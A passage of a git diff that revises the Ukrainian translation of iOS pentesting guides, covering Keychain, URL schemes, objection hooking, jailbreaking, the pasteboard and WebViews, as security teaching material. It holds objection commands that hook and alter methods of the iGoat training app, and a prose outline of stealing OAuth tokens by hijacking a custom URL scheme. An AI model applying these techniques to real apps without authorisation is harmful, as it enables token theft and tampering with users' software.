системного ключа для доступу до метаданих, отримання класного ключа за допомогою класу ID, а потім дешифрування унікального ключа шифрування файлу. @@ -52,23 +52,23 @@ API Ключниці, детально описаний у [документац Рівні захисту даних для елементів Ключниці встановлюються за допомогою атрибута `kSecAttrAccessible` під час створення або оновлення елемента. Ці рівні, [як зазначено Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), визначають, коли і як елементи Ключниці доступні: - **`kSecAttrAccessibleAlways`**: Доступний у будь-який час, незалежно від статусу блокування пристрою. -- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Завжди доступний, але не включений у резервні копії. +- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Завжди доступний, але не включається в резервні копії. - **`kSecAttrAccessibleAfterFirstUnlock`**: Доступний після першого розблокування після перезавантаження. -- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Те ж саме, але не переноситься на нові пристрої. +- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Те ж саме, але не підлягає перенесенню на нові пристрої. - **`kSecAttrAccessibleWhenUnlocked`**: Доступний лише коли пристрій розблоковано. -- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Доступний при розблокуванні, не включений у резервні копії. -- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Вимагає код доступу пристрою, не включений у резервні копії. +- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Доступний при розблокуванні, не включається в резервні копії. +- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Вимагає код доступу пристрою, не включається в резервні копії. **`AccessControlFlags`** додатково уточнюють методи доступу, дозволяючи біометричну аутентифікацію або використання коду доступу. -### **Попередження про зламані пристрої** +### **Попередження про джейлбрейкнуті пристрої** > [!WARNING] -> На **зламаних пристроях** захисти Ключниці скомпрометовані, що становить значний ризик безпеки. +> На **джейлбрейкнутіх пристроях** захисти Ключниці скомпрометовані, що становить значний ризик безпеки. ### **Стійкість даних Ключниці** -На відміну від даних, специфічних для програми, які видаляються при видаленні програми, **дані Ключниці зберігаються** на пристрої. Ця характеристика може дозволити новим власникам вживаного пристрою отримати доступ до даних програми попереднього власника, просто перевстановивши програми. Розробникам рекомендується проактивно очищати дані Ключниці під час встановлення програми або під час виходу, щоб зменшити цей ризик. Ось приклад коду Swift, що демонструє, як очистити дані Ключниці при першому запуску програми: +На відміну від специфічних даних програми, які видаляються при видаленні програми, **дані Ключниці зберігаються** на пристрої. Ця характеристика може дозволити новим власникам вживаного пристрою отримати доступ до даних програми попереднього власника, просто перевстановивши програми. Розробникам рекомендується проактивно очищати дані Ключниці під час установки програми або під час виходу, щоб зменшити цей ризик. Ось приклад коду Swift, що демонструє, як очистити дані Ключниці при першому запуску програми: ```swift let userDefaults = UserDefaults.standard @@ -84,13 +84,13 @@ userDefaults.synchronize() // Forces the app to update UserDefaults У сфері розробки додатків **пісочниця** відіграє важливу роль у підвищенні безпеки. Цей процес забезпечує, що кожен додаток працює в своїй унікальній домашній директорії, запобігаючи доступу до системних файлів або даних, що належать іншим додаткам. Виконання цих обмежень здійснюється через політики пісочниці, які є частиною **Trusted BSD (MAC) Mandatory Access Control Framework**. -Розробники мають можливість налаштовувати певні **можливості або дозволи** для своїх додатків, такі як **Захист даних** або **Спільний доступ до ключів**. Ці дозволи застосовуються відразу після встановлення додатка. Проте, для доступу до певних захищених ресурсів, додаток повинен отримати явну згоду користувача під час першої спроби. Це досягається за допомогою _рядків мети_ або _рядків опису використання_, які подаються користувачам у сповіщенні про запит дозволу. +Розробники мають можливість налаштовувати певні **можливості або дозволи** для своїх додатків, такі як **Захист даних** або **Спільний доступ до ключів**. Ці дозволи застосовуються відразу після встановлення додатка. Проте, для доступу до певних захищених ресурсів, додаток повинен отримати явну згоду користувача під час першої спроби. Це досягається за допомогою _рядків мети_ або _рядків опису використання_, які представляються користувачам у сповіщенні про запит дозволу. -Для тих, хто має доступ до вихідного коду, перевірка дозволів, включених у файл `Info.plist`, може бути виконана наступним чином: +Для тих, хто має доступ до вихідного коду, перевірка дозволів, включених у файл `Info.plist`, може бути виконана шляхом: -1. Відкрити проект у Xcode. -2. Знайти та відкрити файл `Info.plist`. -3. Шукати ключі, що починаються з `"Privacy -"`, з можливістю перегляду сирих ключів/значень для ясності. +1. Відкриття проекту в Xcode. +2. Знаходження та відкриття файлу `Info.plist`. +3. Пошуку ключів, що починаються з `"Privacy -"`, з можливістю перегляду сирих ключів/значень для ясності. При роботі з файлом IPA можна виконати наступні кроки: @@ -118,7 +118,7 @@ userDefaults.synchronize() // Forces the app to update UserDefaults ## Права -**Права** є ще одним критично важливим аспектом розробки додатків для iOS, що слугують як пари ключ-значення, які надають додаткам дозвіл виконувати певні операції, що виходять за межі перевірок під час виконання. Наприклад, увімкнення **Захисту даних** у додатку передбачає додавання конкретного права в проект Xcode, що потім відображається у файлі прав додатку або в вбудованому файлі мобільного провізування для IPA. +**Права** є ще одним критично важливим аспектом розробки додатків для iOS, служачи як пари ключ-значення, які надають додаткам дозвіл виконувати певні операції, що виходять за межі перевірок під час виконання. Наприклад, увімкнення **Захисту даних** у додатку передбачає додавання конкретного права в проект Xcode, що потім відображається у файлі прав додатку або в вбудованому файлі мобільного провізіонування для IPA. # Посилання diff --git a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md index 4e7bca661..788c3af7d 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md +++ b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md @@ -4,7 +4,7 @@ ## Основна інформація -Користувацькі URL-схеми дозволяють додаткам спілкуватися, використовуючи власний протокол, як детально описано в [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ці схеми повинні бути оголошені додатком, який потім обробляє вхідні URL відповідно до цих схем. Важливо **перевіряти всі параметри URL** та **відкидати будь-які неправильно сформовані URL**, щоб запобігти атакам через цей вектор. +Користувацькі URL-схеми дозволяють додаткам спілкуватися, використовуючи спеціальний протокол, як детально описано в [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ці схеми повинні бути оголошені додатком, який потім обробляє вхідні URL відповідно до цих схем. Важливо **перевіряти всі параметри URL** та **відкидати будь-які неправильно сформовані URL**, щоб запобігти атакам через цей вектор. Наводиться приклад, де URI `myapp://hostname?data=123876123` викликає певну дію програми. Відзначена вразливість була в додатку Skype Mobile, який дозволяв неприпустимі дії дзвінків через протокол `skype://`. Зареєстровані схеми можна знайти в `Info.plist` додатка під `CFBundleURLTypes`. Зловмисні програми можуть використовувати це, повторно реєструючи URI для перехоплення чутливої інформації. @@ -62,12 +62,12 @@ Watching for crashes from iGoat... No logs were moved. Opened URL: iGoat://?contactNumber=0&message=0 ``` -## Викрадення користувацьких URL-схем +## Викрадення користувацької URL-схеми -Згідно з [**цим постом**](https://evanconnelly.github.io/post/ios-oauth/), шкідливі програми можуть **реєструвати інші програми з користувацькими схемами,** тоді шкідлива програма може відкрити браузер, який має всі куки Safari App з [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). +Згідно з [**цим постом**](https://evanconnelly.github.io/post/ios-oauth/), шкідливі програми можуть **реєструвати інші програми з користувацькими схемами,** тоді шкідлива програма може відкрити браузер, який має всі куки програми Safari з [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). За допомогою браузера шкідлива програма може завантажити веб-сторінку, контрольовану зловмисником, і TCC запитає у мобільного користувача дозволи на відкриття цієї програми. Потім шкідлива веб-сторінка може перенаправити на сторінку жертви, наприклад, на OAuth потік з параметром `prompt=none`. Якщо користувач вже увійшов у OAuth потік, OAuth потік надішле секрет назад до жертви, використовуючи користувацьку схему жертви.\ -Однак, оскільки шкідлива програма також зареєструвала її і оскільки використовуваний браузер знаходиться всередині шкідливої програми, користувацька схема в цьому випадку буде оброблятися шкідливою програмою, яка зможе вкрасти OAuth токен. +Однак, оскільки шкідлива програма також зареєструвала її і оскільки використовуваний браузер знаходиться всередині шкідливої програми, користувацька схема буде оброблена в цьому випадку шкідливою програмою, яка зможе вкрасти OAuth токен. ## Посилання diff --git a/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md b/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md index d58d9765a..33abc34ee 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md +++ b/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md @@ -179,27 +179,27 @@ ios hooking search methods cvv [iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:] ``` -# Основи хукінгу +# Основне хукування Тепер, коли ви **перерахували класи та модулі**, що використовуються програмою, ви могли знайти деякі **цікаві назви класів і методів**. -## Хук всіх методів класу +## Хукнути всі методи класу -- `ios hooking watch class `: Хук всіх методів класу, скидання всіх початкових параметрів і повернень +- `ios hooking watch class `: Хукнути всі методи класу, вивантажити всі початкові параметри та повернення ```bash ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController ``` -## Хук одного методу +## Хукнути один метод -- `ios hooking watch method "-[ ]" --dump-args --dump-return --dump-backtrace`: Хук конкретного методу класу, скидання параметрів, трасувань і повернень методу щоразу, коли його викликають +- `ios hooking watch method "-[ ]" --dump-args --dump-return --dump-backtrace`: Хукнути конкретний метод класу, вивантажуючи параметри, зворотні виклики та повернення методу щоразу, коли його викликають ```bash ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return ``` -## Зміна логічного повернення +## Змінити логічне повернення - `ios hooking set return_value "-[ ]" false`: Це змусить вибраний метод повертати вказане логічне значення @@ -207,7 +207,7 @@ ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPresse ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false ``` -## Генерація шаблону хукінгу +## Згенерувати шаблон хукування - `ios hooking generate simple `: diff --git a/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md b/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md index 700f42d1b..48bcf6f53 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md +++ b/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md @@ -27,7 +27,7 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name) ``` ### **Покращення безпеки з `NSSecureCoding`** -Щоб зменшити вразливості, коли зловмисники впроваджують дані в уже створені об'єкти, **`NSSecureCoding`** пропонує покращений протокол. Класи, що відповідають `NSSecureCoding`, повинні перевіряти тип об'єктів під час декодування, забезпечуючи, щоб лише очікувані типи об'єктів були створені. Однак важливо зазначити, що хоча `NSSecureCoding` покращує безпеку типів, він не шифрує дані і не забезпечує їх цілісність, що вимагає додаткових заходів для захисту чутливої інформації: +Щоб зменшити вразливості, коли зловмисники впроваджують дані в уже створені об'єкти, **`NSSecureCoding`** пропонує покращений протокол. Класи, що відповідають `NSSecureCoding`, повинні перевіряти тип об'єктів під час декодування, забезпечуючи, що лише очікувані типи об'єктів створюються. Однак важливо зазначити, що хоча `NSSecureCoding` покращує безпеку типів, він не шифрує дані і не забезпечує їх цілісність, що вимагає додаткових заходів для захисту чутливої інформації: ```swift static var supportsSecureCoding: Bool { return true @@ -37,14 +37,14 @@ let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey") ``` ## Архівування даних за допомогою `NSKeyedArchiver` -`NSKeyedArchiver` та його аналог `NSKeyedUnarchiver` дозволяють кодувати об'єкти у файл і пізніше їх отримувати. Цей механізм корисний для збереження об'єктів: +`NSKeyedArchiver` та його аналог `NSKeyedUnarchiver` дозволяють кодувати об'єкти у файл, а потім їх відновлювати. Цей механізм корисний для збереження об'єктів: ```swift NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive") let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint ``` ### Використання `Codable` для спрощеної серіалізації -Протокол `Codable` у Swift поєднує `Decodable` та `Encodable`, полегшуючи кодування та декодування об'єктів, таких як `String`, `Int`, `Double` тощо, без додаткових зусиль: +Протокол `Codable` в Swift поєднує `Decodable` та `Encodable`, полегшуючи кодування та декодування об'єктів, таких як `String`, `Int`, `Double` тощо, без додаткових зусиль: ```swift struct CustomPointStruct: Codable { var x: Double diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index 507ada3df..b274c2090 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -6,10 +6,10 @@ **Provisioning identity** - це набір публічних і приватних ключів, які асоційовані з обліковим записом розробника Apple. Щоб **підписувати додатки**, вам потрібно сплатити **99$/рік** для реєстрації в **Apple Developer Program**, щоб отримати вашу provisioning identity. Без цього ви не зможете запускати програми з вихідного коду на фізичному пристрої. Інший варіант - використовувати **jailbroken device**. -Починаючи з Xcode 7.2, Apple надала можливість створити **безкоштовний профіль розробки iOS**, який дозволяє писати та тестувати вашу програму на реальному iPhone. Перейдіть до _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Додати новий Appli ID з вашими обліковими даними) --> _Натисніть на створений Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ -\_\_Потім, щоб запустити вашу програму на iPhone, спочатку потрібно **вказати iPhone довіряти комп'ютеру.** Потім ви можете спробувати **запустити програму на мобільному з Xcode,** але з'явиться помилка. Тож перейдіть до _Settings_ --> _General_ --> _Profiles and Device Management_ --> Виберіть ненадійний профіль і натисніть "**Trust**". +Починаючи з Xcode 7.2, Apple надала можливість створити **безкоштовний профіль розробки iOS**, який дозволяє писати та тестувати ваш додаток на реальному iPhone. Перейдіть до _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Додати новий Appli ID з вашими обліковими даними) --> _Натисніть на створений Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ +\_\_Потім, щоб запустити ваш додаток на вашому iPhone, спочатку потрібно **вказати iPhone довіряти комп'ютеру.** Потім ви можете спробувати **запустити додаток на мобільному з Xcode,** але з'явиться помилка. Тож перейдіть до _Settings_ --> _General_ --> _Profiles and Device Management_ --> Виберіть ненадійний профіль і натисніть "**Trust**". -Зверніть увагу, що **додатки, підписані одним і тим же сертифікатом підпису, можуть безпечно ділитися ресурсами, такими як елементи ключа**. +Зверніть увагу, що **додатки, підписані одним і тим же сертифікатом підпису, можуть безпечно ділитися ресурсами, такими як елементи ключового сховища**. Профілі provisioning зберігаються всередині телефону в **`/Library/MobileDevice/ProvisioningProfiles`** @@ -44,7 +44,7 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) ``` Якщо ви знаєте UID, програми, встановлені в ньому, можна знайти за адресою `/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` -Однак, на диво, ви не знайдете додаток тут. Вам потрібно перейти до `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` +Однак, на диво, ви не знайдете додаток тут. Вам потрібно отримати доступ до `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` І в цій папці ви можете **знайти пакет програми.** @@ -54,26 +54,26 @@ Corellium є єдиним публічно доступним емуляторо ## Необхідність джейлбрейку -Перегляньте цей блог про те, як провести тестування безпеки iOS-додатка на **не джейлбрейкнутому пристрої**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) +Перегляньте цей блог про те, як провести pentest iOS-додатку на **не джейлбрейкнутому пристрої**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) ## Джейлбрейк -Apple суворо вимагає, щоб код, що виконується на iPhone, був **підписаний сертифікатом, виданим Apple**. **Джейлбрейк** — це процес активного **обходу таких обмежень** та інших заходів безпеки, встановлених ОС. Тому, як тільки пристрій джейлбрейкнуто, **перевірка цілісності**, яка відповідає за перевірку встановлених додатків, патчується, тому вона **обходиться**. +Apple суворо вимагає, щоб код, що виконується на iPhone, був **підписаний сертифікатом, виданим Apple**. **Джейлбрейк** - це процес активного **обходу таких обмежень** та інших заходів безпеки, встановлених ОС. Тому, як тільки пристрій джейлбрейкнуто, **перевірка цілісності**, яка відповідає за перевірку встановлених додатків, патчується, тому вона **обходиться**. > [!NOTE] -> На відміну від Android, **ви не можете перейти в "Режим розробника"** в iOS, щоб запускати непідписаний/недовірений код на пристрої. +> На відміну від Android, **ви не можете перейти в "Режим розробника"** в iOS, щоб запустити непідписаний/недовірений код на пристрої. -### Рутування Android vs. Джейлбрейк iOS +### Рутинг Android vs. Джейлбрейк iOS -Хоча їх часто порівнюють, **рутування** на Android і **джейлбрейк** на iOS є принципово різними процесами. Рутування Android-пристроїв може включати **встановлення бінарного файлу `su`** або **заміна системи на рутований кастомний ROM**, що не обов'язково вимагає експлойтів, якщо завантажувач розблоковано. **Флешинг кастомних ROM** замінює ОС пристрою після розблокування завантажувача, іноді вимагаючи експлойт. +Хоча їх часто порівнюють, **рутинг** на Android і **джейлбрейк** на iOS є принципово різними процесами. Рутинг Android-пристроїв може включати **встановлення бінарного файлу `su`** або **заміна системи на рутований кастомний ROM**, що не обов'язково вимагає експлойтів, якщо завантажувач розблоковано. **Флешинг кастомних ROM** замінює ОС пристрою після розблокування завантажувача, іноді вимагаючи експлойт. -На відміну від цього, пристрої iOS не можуть флешити кастомні ROM через обмеження завантажувача, який дозволяє завантажувати лише образи, підписані Apple. **Джейлбрейк iOS** має на меті обійти захист підписування коду Apple, щоб запускати непідписаний код, процес, ускладнений постійними покращеннями безпеки Apple. +На відміну від цього, пристрої iOS не можуть флешити кастомні ROM через обмеження завантажувача, який дозволяє завантажувати лише образи, підписані Apple. **Джейлбрейк iOS** має на меті обійти захист підписування коду Apple, щоб запустити непідписаний код, процес, ускладнений постійними покращеннями безпеки Apple. ### Виклики джейлбрейку -Джейлбрейк iOS стає все більш складним, оскільки Apple швидко патчує вразливості. **Пониження iOS** можливе лише протягом обмеженого часу після випуску, що робить джейлбрейк справою, чутливою до часу. Пристрої, що використовуються для тестування безпеки, не повинні оновлюватися, якщо повторний джейлбрейк не гарантований. +Джейлбрейк iOS стає все більш складним, оскільки Apple швидко патчує вразливості. **Пониження iOS** можливе лише протягом обмеженого часу після випуску, що робить джейлбрейк справою, що залежить від часу. Пристрої, що використовуються для тестування безпеки, не повинні оновлюватися, якщо повторний джейлбрейк не гарантований. -Оновлення iOS контролюються **механізмом виклику-відповіді** (SHSH blobs), що дозволяє встановлення лише для підписаних Apple відповідей. Цей механізм, відомий як "вікно підписування", обмежує можливість зберігати та пізніше використовувати OTA пакети прошивки. Вебсайт [IPSW Downloads](https://ipsw.me) є ресурсом для перевірки поточних вікон підписування. +Оновлення iOS контролюються **механізмом виклику-відповіді** (SHSH blobs), що дозволяє встановлення лише для підписаних Apple відповідей. Цей механізм, відомий як "вікно підписання", обмежує можливість зберігати та пізніше використовувати OTA пакети прошивки. Вебсайт [IPSW Downloads](https://ipsw.me) є ресурсом для перевірки поточних вікон підписання. ### Види джейлбрейку @@ -94,7 +94,7 @@ Apple суворо вимагає, щоб код, що виконується н ### Переваги та ризики джейлбрейку -Джейлбрейк **усуває накладене ОС пісочницю**, дозволяючи додаткам отримувати доступ до всієї файлової системи. Ця свобода дозволяє встановлювати непідтверджені додатки та отримувати доступ до більшої кількості API. Однак для звичайних користувачів джейлбрейк **не рекомендується** через потенційні ризики безпеки та нестабільність пристрою. +Джейлбрейк **усуває пісочницю, накладену ОС**, дозволяючи додаткам отримувати доступ до всієї файлової системи. Ця свобода дозволяє встановлювати непідтверджені додатки та отримувати доступ до більшої кількості API. Однак для звичайних користувачів джейлбрейк **не рекомендується** через потенційні ризики безпеки та нестабільність пристрою. ### **Після джейлбрейку** diff --git a/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md b/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md index 047ebab55..69278eecf 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md @@ -4,36 +4,36 @@ # UIActivity Sharing Simplified -Починаючи з iOS 6, сторонні додатки отримали можливість **ділитися даними** такими як текст, URL-адреси або зображення, використовуючи механізми, такі як AirDrop, як зазначено в [посібнику з міждодаткового зв'язку](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) від Apple. Ця функція проявляється через системну _аркуш активності спільного використання_, який з'являється при взаємодії з кнопкою "Поділитися". +Починаючи з iOS 6, сторонні додатки отримали можливість **ділитися даними** такими як текст, URL-адреси або зображення, використовуючи механізми, такі як AirDrop, як зазначено в [посібнику з міждодаткового зв'язку](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) від Apple. Ця функція проявляється через загальносистемний _лист активності обміну_, який з'являється при взаємодії з кнопкою "Поділитися". -Вичерпний перелік усіх вбудованих варіантів спільного використання доступний за посиланням [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Розробники можуть вирішити виключити певні варіанти спільного використання, якщо вважають їх непридатними для свого додатку. +Вичерпний перелік усіх вбудованих варіантів обміну доступний за посиланням [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Розробники можуть вирішити виключити певні варіанти обміну, якщо вважають їх непридатними для свого додатку. ## **How to Share Data** Увага повинна бути зосереджена на: -- Природі даних, що діляться. +- Природі даних, що обмінюються. - Включенні користувацьких активностей. - Виключенні певних типів активностей. -Спільне використання здійснюється через створення `UIActivityViewController`, до якого передаються елементи, призначені для спільного використання. Це досягається шляхом виклику: +Обмін здійснюється через створення `UIActivityViewController`, до якого передаються елементи, призначені для обміну. Це досягається шляхом виклику: ```bash $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems 0x1000df034 45 44 initWithActivityItems:applicationActivities: ``` -Розробники повинні ретельно перевіряти `UIActivityViewController` на наявність активностей та користувацьких активностей, з якими він ініціалізується, а також будь-яких вказаних `excludedActivityTypes`. +Розробники повинні ретельно перевіряти `UIActivityViewController` на предмет активностей та користувацьких активностей, з якими він ініціалізується, а також будь-яких вказаних `excludedActivityTypes`. ## **Як отримати дані** Наступні аспекти є критично важливими при отриманні даних: -- Оголошення **кастомних типів документів**. +- Оголошення **користувацьких типів документів**. - Визначення **типів документів, які може відкривати додаток**. - Перевірка **цілісності отриманих даних**. Без доступу до вихідного коду, можна все ще перевірити `Info.plist` на наявність ключів, таких як `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` та `CFBundleDocumentTypes`, щоб зрозуміти, які типи документів може обробляти та оголошувати додаток. -Стисла інструкція щодо цих ключів доступна на [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), підкреслюючи важливість визначення та імпортування UTI для системного визнання та асоціювання типів документів з вашим додатком для інтеграції в діалозі "Відкрити з". +Стисла інструкція щодо цих ключів доступна на [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), підкреслюючи важливість визначення та імпортування UTI для системного визнання та асоціювання типів документів з вашим додатком для інтеграції в діалозі "Відкрити з...". ## Динамічний підхід до тестування diff --git a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md index a78c3a5b1..9f8523898 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md @@ -8,9 +8,9 @@ **Безпекові міркування** відіграють значну роль при використанні буферних пам'ятей. Наприклад: - Немає механізму для користувачів для управління дозволами додатків на доступ до **буферної пам'яті**. -- Щоб зменшити ризик несанкціонованого моніторингу буферної пам'яті у фоновому режимі, доступ обмежується до моменту, коли додаток знаходиться на передньому плані (з iOS 9). +- Щоб зменшити ризик несанкціонованого моніторингу буферної пам'яті у фоновому режимі, доступ обмежений до моменту, коли додаток знаходиться на передньому плані (з iOS 9). - Використання постійних іменованих буферних пам'ятей не рекомендується на користь спільних контейнерів через проблеми конфіденційності. -- Функція **Універсальний буфер обміну**, введена з iOS 10, що дозволяє обмінюватися контентом між пристроями через загальну буферну пам'ять, може бути керована розробниками для встановлення терміну дії даних і відключення автоматичного перенесення контенту. +- Функція **Універсальний буфер обміну**, введена з iOS 10, що дозволяє обмінюватися контентом між пристроями через загальну буферну пам'ять, може бути керована розробниками для встановлення терміну дії даних та відключення автоматичного перенесення контенту. Забезпечення того, щоб **чутлива інформація не зберігалася ненавмисно** в глобальній буферній пам'яті, є критично важливим. Крім того, додатки повинні бути спроектовані так, щоб запобігти зловживанню даними глобальної буферної пам'яті для ненавмисних дій, і розробників заохочують впроваджувати заходи для запобігання копіюванню чутливої інформації в буфер обміну. @@ -27,7 +27,7 @@ - Моніторинг `generalPasteboard` для системного використання. - Трасування `pasteboardWithName:create:` та `pasteboardWithUniqueName` для користувацьких реалізацій. -- Спостереження за застарілими викликами методу `setPersistent:`, щоб перевірити налаштування збереження. +- Спостереження за застарілими викликами методу `setPersistent:` для перевірки налаштувань збереження. Ключові деталі для моніторингу включають: diff --git a/src/mobile-pentesting/ios-pentesting/ios-universal-links.md b/src/mobile-pentesting/ios-pentesting/ios-universal-links.md index 03c5e22f4..a23cc6be0 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-universal-links.md +++ b/src/mobile-pentesting/ios-pentesting/ios-universal-links.md @@ -6,7 +6,7 @@ Універсальні посилання пропонують **безшовний редирект** для користувачів, безпосередньо відкриваючи контент в додатку, обходячи необхідність редиректу в Safari. Ці посилання є **унікальними** та безпечними, оскільки їх не можуть вимагати інші додатки. Це забезпечується розміщенням файлу `apple-app-site-association` у кореневому каталозі вебсайту, встановлюючи перевіряємий зв'язок між вебсайтом та додатком. У випадках, коли додаток не встановлено, Safari візьме на себе управління і перенаправить користувача на вебсторінку, зберігаючи присутність додатку. -Для тестувальників на проникнення файл `apple-app-site-association` є особливим інтересом, оскільки він може розкрити **чутливі шляхи**, потенційно включаючи ті, що стосуються не випущених функцій. +Для тестувальників на проникнення файл `apple-app-site-association` є особливо цікавим, оскільки він може розкрити **чутливі шляхи**, потенційно включаючи ті, що стосуються не випущених функцій. ### **Аналіз прав на асоційовані домени** @@ -18,7 +18,7 @@ applinks:t.me ``` -Для більш детальних відомостей зверніться до [архівної документації розробника Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2). +Для більш детальних відомостей зверніться до [архівної документації Apple Developer](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2). Якщо ви працюєте з скомпільованим додатком, права доступу можна витягти, як описано в [цьому посібнику](extracting-entitlements-from-compiled-application.md). diff --git a/src/mobile-pentesting/ios-pentesting/ios-webviews.md b/src/mobile-pentesting/ios-pentesting/ios-webviews.md index 90c4115fb..b40e5ffd6 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-webviews.md +++ b/src/mobile-pentesting/ios-pentesting/ios-webviews.md @@ -12,7 +12,7 @@ WebViews використовуються в додатках для інтер - **WKWebView** є переважним варіантом для інтеграції веб-контенту в додатки, пропонуючи покращений контроль над контентом та функціями безпеки. **JavaScript** увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції, які запобігають автоматичному відкриттю вікон JavaScript і забезпечують безпечне завантаження всього контенту. Крім того, архітектура **WKWebView** мінімізує ризик пошкодження пам'яті, що впливає на основний процес додатка. -- **SFSafariViewController** пропонує стандартизований досвід веб-серфінгу в додатках, який можна впізнати за його специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від **WKWebView**, **JavaScript** не можна вимкнути в **SFSafariViewController**, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Він повинен бути чітко видимим відповідно до рекомендацій App Store. +- **SFSafariViewController** пропонує стандартизований досвід веб-серфінгу в додатках, який можна впізнати за його специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від **WKWebView**, **JavaScript** не можна вимкнути в **SFSafariViewController**, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Він повинен бути чітко відображений відповідно до рекомендацій App Store. ```javascript // Example of disabling JavaScript in WKWebView: WKPreferences *preferences = [[WKPreferences alloc] init]; @@ -57,7 